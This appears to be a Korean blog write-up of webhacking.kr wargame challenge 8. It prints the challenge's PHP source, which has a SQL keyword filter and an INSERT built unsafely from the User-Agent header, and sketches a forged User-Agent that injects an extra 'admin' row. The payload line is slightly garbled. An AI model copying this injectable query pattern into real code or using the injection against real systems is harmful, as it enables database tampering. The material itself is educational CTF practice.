DoR@Hee의 끄적끄적

webhacking.kr 8번 본문

WarGame/WebHacking.kr

webhacking.kr 8번

DoR@Hee 2019. 2. 23. 17:52


문제 첫화면 USER-AGENT를 출력하면서 카운터를 하고있다. 

재접속 시 0/70이 1로 늘어나는걸 확인 할 수있다. 


개발자도구로 확인 한 결과 index.phps를 볼 수 있다 .




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<html>
<head>
<title>Challenge 8</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
</style>
</head>
<body>
<br><br>
<center>USER-AGENT
 
<?
 
$agent=getenv("HTTP_USER_AGENT"); //접속자의 클라이언트 정보를 $agent에 담는다.
$ip=$_SERVER[REMOTE_ADDR]; // ip(공인)를 $ip에 담는다
 
$agent=trim($agent); //trim문자열 앞 뒤 공백을 없애는 함수이다.
 
$agent=str_replace(".","_",$agent);
$agent=str_replace("/","_",$agent); // $agent 들어있는 _ 는 . / _로 변환한다.
 
//$agent =  Mozilla_5_0 (Windows NT 6_1; Win64; x64) AppleWebKit_537_36 (KHTML, like Gecko) Chrome_72_0_3626_109 Safari_537_36
 
$pat="/\/|\*|union|char|ascii|select|out|infor|schema|columns|sub|-|\+|\||!|update|del|drop|from|where|order|by|asc|desc|lv|board|\([0-9]|sys|pass|\.|like|and|\'\'|sub/";
 
$agent=strtolower($agent); //strolower 함수는 대문자를 소문자로 변환하는 함수이다.
 
// mozilla_5_0 (windows nt 6_1; win64; x64) applewebkit_537_36 (khtml, like gecko) chrome_72_0_3626_109 safari_537_36
 
if(preg_match($pat,$agent)) exit("Access Denied!");
 
$_SERVER[HTTP_USER_AGENT]=str_replace("'","",$_SERVER[HTTP_USER_AGENT]);
$_SERVER[HTTP_USER_AGENT]=str_replace("\"","",$_SERVER[HTTP_USER_AGENT]);
 
// $_SERVER[HTTP_USER_AGENT] = Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36
 
$count_ck=@mysql_fetch_array(mysql_query("select count(id) from lv0"));
if($count_ck[0]>=70) { @mysql_query("delete from lv0"); }
 
 
$q=@mysql_query("select id from lv0 where agent='$_SERVER[HTTP_USER_AGENT]'");
 
// select문으로 agent조건에 클라이언트 정보를 넣고 그에 따른 값을 찾고있다.
$ck=@mysql_fetch_array($q);
 
if($ck)
echo("hi <b>$ck[0]</b><p>");
if($ck[0]=="admin"//만약 쿼리에 결과값이 admin일 경우 문제 해결
 
{
@solve();
@mysql_query("delete from lv0");
}
 
 
}
 
if(!$ck//만약 $q=@mysql_query("select id from lv0 where agent='$_SERVER[HTTP_USER_AGENT]'");에 따란 결과값이 없을 경우 insert문을 통해 $agent, $ip guest값을 넣고있다.
{
$q=@mysql_query("insert into lv0(agent,ip,id) values('$agent','$ip','guest')") or die("query error");
echo("<br><br>done!  ($count_ck[0]/70)");
}
 
즉 웹서버로 전송되는 HTTP_USER_AGENT값을 변조하자
?>
 
<!--
index.phps
-->
 
</body>
</html>
cs



insert into lv0(agent,ip,id) values(admin;,1,'admin'),('2,'$ip','guest') 해당 쿼리입력시 이런식으로 값이 들어가며 

후 select 문을 이용해서 



select id from lv0 where agent='admin';


쿼리 값이 들어간 후 select문을 하기 때문에 


성공

'WarGame > WebHacking.kr' 카테고리의 다른 글

webhacking.kr 39번  (0) 2019.02.24
webhacking.kr 38번  (0) 2019.02.24
webhacking.kr 37번  (0) 2019.02.22
webhacking.kr 36번  (0) 2019.02.22
webhacking.kr 35번  (0) 2019.02.22
Comments